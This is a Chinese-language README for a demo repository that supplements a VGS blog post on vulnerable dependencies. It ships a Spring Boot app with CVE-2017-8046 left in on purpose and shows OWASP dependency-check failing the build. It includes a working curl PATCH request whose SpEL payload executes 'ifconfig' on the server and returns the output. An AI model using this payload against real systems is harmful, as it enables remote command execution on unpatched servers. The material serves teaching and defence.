免责声明: 本仓库是对 VGS 博文《如何避免使用已知漏洞的组件》的补充。它包含一个具有已知安全漏洞(即 CVE-2017-8046)的应用程序,以及如何利用该漏洞的描述。请自行承担使用该应用程序的风险!
首先,在仓库根目录执行以下命令启动应用程序:
mvn clean spring-boot:run
然后,通过发送如下 POST 请求创建一个资源:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
假设你在基于 Unix 的操作系统(例如 macOS)上运行该应用程序,响应将包含主机的网络配置。实际上,任何 SpEL 表达式都可以使用。
mvn clean package verify
构建将会失败,因为识别到一个高风险漏洞的依赖项:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
想直接上手? 查看我们的 快速入门指南。
Very Good Security (VGS) 允许您在增强安全态势的同时,保持数据在内部和与第三方之间的可用性。作为额外的好处,我们加速您的合规认证流程,并帮助您快速获得阻碍您市场机会的安全相关合规性。
要了解更多信息,请访问 https://www.verygoodsecurity.com/
本项目采用 MIT 许可证授权。详情请参阅 LICENSE 文件。